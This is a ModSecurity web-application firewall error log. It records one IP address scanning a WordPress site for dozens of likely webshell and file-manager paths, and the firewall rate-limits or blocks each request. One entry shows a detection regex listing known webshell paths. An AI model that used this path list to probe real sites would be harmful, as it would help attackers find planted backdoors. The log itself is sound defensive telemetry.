[Tue May 19 02:32:03.630749 2026] [:error] [pid 44087:tid 44097] [client 20.151.117.104:14099] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "agtbI25HPHbH9GK7l6wR2QAAAcg"]
[Tue May 19 02:32:04.146156 2026] [:error] [pid 43916:tid 43942] [client 20.151.117.104:14052] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/about.php"] [unique_id "agtbJNQC236p33zJJvngiAAAAJI"]
[Tue May 19 02:32:04.634269 2026] [:error] [pid 36492:tid 36546] [client 20.151.117.104:14296] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/about.php"] [unique_id "agtbJGCVlogrkn9m2w4ukAAAABg"]
[Tue May 19 02:32:05.442017 2026] [:error] [pid 36491:tid 36517] [client 20.151.117.104:14098] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/about.php"] [unique_id "agtbJU555B9CZb6D60kGGQAAAVY"]
[Tue May 19 02:32:06.122452 2026] [:error] [pid 36491:tid 36506] [client 20.151.117.104:14196] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/about.php"] [unique_id "agtbJk555B9CZb6D60kGGwAAAUs"]
[Tue May 19 02:32:06.538632 2026] [:error] [pid 36492:tid 36545] [client 20.151.117.104:14094] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "agtbJmCVlogrkn9m2w4ulQAAABc"]
[Tue May 19 02:32:07.173176 2026] [:error] [pid 44010:tid 44015] [client 20.151.117.104:14110] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "agtbJzcFUuogD3-74-aP7QAAAMM"]
[Tue May 19 02:32:07.630007 2026] [:error] [pid 36492:tid 36537] [client 20.151.117.104:14030] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "agtbJ2CVlogrkn9m2w4ulgAAAA8"]
[Tue May 19 02:32:08.061580 2026] [:error] [pid 43916:tid 43927] [client 20.151.117.104:14025] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "agtbKNQC236p33zJJvngiQAAAIM"]
[Tue May 19 02:32:08.520257 2026] [:error] [pid 36492:tid 36526] [client 20.151.117.104:14021] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "agtbKGCVlogrkn9m2w4ulwAAAAQ"]
[Tue May 19 02:32:09.031885 2026] [:error] [pid 36492:tid 36525] [client 20.151.117.104:14026] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "agtbKWCVlogrkn9m2w4umAAAAAM"]
[Tue May 19 02:32:09.484435 2026] [:error] [pid 36492:tid 36527] [client 20.151.117.104:13969] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "agtbKWCVlogrkn9m2w4umwAAAAU"]
[Tue May 19 02:32:09.938365 2026] [:error] [pid 36492:tid 36522] [client 20.151.117.104:14285] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "agtbKWCVlogrkn9m2w4unAAAAAA"]
[Tue May 19 02:32:10.470451 2026] [:error] [pid 43916:tid 43933] [client 20.151.117.104:14128] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "agtbKtQC236p33zJJvngigAAAIk"]
[Tue May 19 02:32:10.889131 2026] [:error] [pid 36492:tid 36536] [client 20.151.117.104:14028] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "agtbKmCVlogrkn9m2w4ungAAAA4"]
[Tue May 19 02:32:11.327617 2026] [:error] [pid 36491:tid 36495] [client 20.151.117.104:14083] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "agtbK0555B9CZb6D60kGHwAAAUA"]
[Tue May 19 02:32:11.927606 2026] [:error] [pid 36491:tid 36510] [client 20.151.117.104:14029] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "agtbK0555B9CZb6D60kGIAAAAU8"]
[Tue May 19 02:32:12.434220 2026] [:error] [pid 36492:tid 36541] [client 20.151.117.104:14059] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ca5.php"] [unique_id "agtbLGCVlogrkn9m2w4uoAAAABM"]
[Tue May 19 02:32:12.873085 2026] [:error] [pid 36491:tid 36508] [client 20.151.117.104:14071] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ca5.php"] [unique_id "agtbLE555B9CZb6D60kGIgAAAU0"]
[Tue May 19 02:32:13.412817 2026] [:error] [pid 36491:tid 36504] [client 20.151.117.104:14049] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ca5.php"] [unique_id "agtbLU555B9CZb6D60kGIwAAAUk"]
[Tue May 19 02:32:13.902771 2026] [:error] [pid 36492:tid 36539] [client 20.151.117.104:14039] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ca5.php"] [unique_id "agtbLWCVlogrkn9m2w4uoQAAABE"]
[Tue May 19 02:32:14.364823 2026] [:error] [pid 36492:tid 36544] [client 20.151.117.104:13997] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "agtbLmCVlogrkn9m2w4uogAAABY"]
[Tue May 19 02:32:14.826970 2026] [:error] [pid 36492:tid 36526] [client 20.151.117.104:14117] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "agtbLmCVlogrkn9m2w4uowAAAAQ"]
[Tue May 19 02:32:15.326337 2026] [:error] [pid 36492:tid 36525] [client 20.151.117.104:13954] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "agtbL2CVlogrkn9m2w4upQAAAAM"]
[Tue May 19 02:32:16.026214 2026] [:error] [pid 44087:tid 44114] [client 20.151.117.104:14097] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "agtbMG5HPHbH9GK7l6wR2wAAAdg"]
[Tue May 19 02:32:16.731504 2026] [:error] [pid 43916:tid 43924] [client 20.151.117.104:14078] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "agtbMNQC236p33zJJvnglQAAAIA"]
[Tue May 19 02:32:17.152552 2026] [:error] [pid 43916:tid 43935] [client 20.151.117.104:14043] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "agtbMdQC236p33zJJvnglgAAAIs"]
[Tue May 19 02:32:17.586599 2026] [:error] [pid 36491:tid 36497] [client 20.151.117.104:14044] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "agtbMU555B9CZb6D60kGJgAAAUI"]
[Tue May 19 02:32:18.090074 2026] [:error] [pid 43916:tid 43933] [client 20.151.117.104:14120] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "agtbMtQC236p33zJJvngmgAAAIk"]
[Tue May 19 02:32:18.719495 2026] [:error] [pid 36492:tid 36535] [client 20.151.117.104:14018] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "agtbMmCVlogrkn9m2w4upgAAAA0"]
[Tue May 19 02:32:19.148918 2026] [:error] [pid 36491:tid 36506] [client 20.151.117.104:14233] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "agtbM0555B9CZb6D60kGJwAAAUs"]
[Tue May 19 02:32:19.599773 2026] [:error] [pid 36491:tid 36502] [client 20.151.117.104:14105] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "agtbM0555B9CZb6D60kGKAAAAUc"]
[Tue May 19 02:32:20.118094 2026] [:error] [pid 36492:tid 36536] [client 20.151.117.104:13976] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "agtbNGCVlogrkn9m2w4uqgAAAA4"]
[Tue May 19 02:32:20.743160 2026] [:error] [pid 36491:tid 36499] [client 20.151.117.104:13998] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "agtbNE555B9CZb6D60kGLAAAAUQ"]
[Tue May 19 02:32:21.445393 2026] [:error] [pid 44087:tid 44113] [client 20.151.117.104:13959] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "agtbNW5HPHbH9GK7l6wR3gAAAdc"]
[Tue May 19 02:32:21.975870 2026] [:error] [pid 36492:tid 36532] [client 20.151.117.104:14075] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "agtbNWCVlogrkn9m2w4uqwAAAAo"]
[Tue May 19 02:32:22.407482 2026] [:error] [pid 36492:tid 36523] [client 20.151.117.104:14031] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "agtbNmCVlogrkn9m2w4urgAAAAE"]
[Tue May 19 02:32:22.846696 2026] [:error] [pid 36579:tid 36600] [client 20.151.117.104:14093] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "agtbNl-aoZxBfgL5vDy5-QAAAFI"]
[Tue May 19 02:32:23.325814 2026] [:error] [pid 36491:tid 36515] [client 20.151.117.104:14040] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "agtbN0555B9CZb6D60kGNAAAAVQ"]
[Tue May 19 02:32:23.938146 2026] [:error] [pid 36491:tid 36519] [client 20.151.117.104:14205] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "agtbN0555B9CZb6D60kGNQAAAVg"]
[Tue May 19 02:32:24.556953 2026] [:error] [pid 36491:tid 36496] [client 20.151.117.104:14056] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ov-Simple1.php"] [unique_id "agtbOE555B9CZb6D60kGNwAAAUE"]
[Tue May 19 02:32:25.034688 2026] [:error] [pid 36492:tid 36538] [client 20.151.117.104:14200] [client 20.151.117.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "agtbOWCVlogrkn9m2w4usgAAABA"]
[Tue May 19 02:32:25.534033 2026] [:error] [pid 36491:tid 36499] [client 20.151.117.104:14046] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "agtbOU555B9CZb6D60kGOQAAAUQ"]
[Tue May 19 02:32:26.028642 2026] [:error] [pid 36491:tid 36512] [client 20.151.117.104:14063] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "agtbOk555B9CZb6D60kGOgAAAVE"]
[Tue May 19 02:32:26.457685 2026] [:error] [pid 44087:tid 44091] [client 20.151.117.104:14133] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "agtbOm5HPHbH9GK7l6wR4AAAAcI"]
[Tue May 19 02:32:27.024964 2026] [:error] [pid 44046:tid 44057] [client 20.151.117.104:14070] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "agtbO4YF4k2jfXJBXk0UWgAAAYk"]
[Tue May 19 02:32:27.618886 2026] [:error] [pid 36492:tid 36535] [client 20.151.117.104:14045] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "agtbO2CVlogrkn9m2w4utAAAAA0"]
[Tue May 19 02:32:28.037197 2026] [:error] [pid 36492:tid 36529] [client 20.151.117.104:14123] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "agtbPGCVlogrkn9m2w4utQAAAAc"]
[Tue May 19 02:32:28.564114 2026] [:error] [pid 44087:tid 44100] [client 20.151.117.104:14186] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "agtbPG5HPHbH9GK7l6wR4wAAAcs"]
[Tue May 19 02:32:29.003417 2026] [:error] [pid 36491:tid 36508] [client 20.151.117.104:14109] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "agtbPU555B9CZb6D60kGOwAAAU0"]
[Tue May 19 02:32:29.444205 2026] [:error] [pid 36491:tid 36500] [client 20.151.117.104:13980] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "agtbPU555B9CZb6D60kGPAAAAUU"]
[Tue May 19 02:32:29.886642 2026] [:error] [pid 36492:tid 36530] [client 20.151.117.104:13888] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "agtbPWCVlogrkn9m2w4utwAAAAg"]
[Tue May 19 02:32:30.307643 2026] [:error] [pid 36492:tid 36523] [client 20.151.117.104:14173] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "agtbPmCVlogrkn9m2w4uuQAAAAE"]
[Tue May 19 02:32:30.776802 2026] [:error] [pid 44087:tid 44093] [client 20.151.117.104:13963] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "agtbPm5HPHbH9GK7l6wR5AAAAcQ"]
[Tue May 19 02:32:31.219773 2026] [:error] [pid 36491:tid 36519] [client 20.151.117.104:14013] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "agtbP0555B9CZb6D60kGPgAAAVg"]
[Tue May 19 02:32:31.641713 2026] [:error] [pid 36491:tid 36496] [client 20.151.117.104:13952] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "agtbP0555B9CZb6D60kGQAAAAUE"]
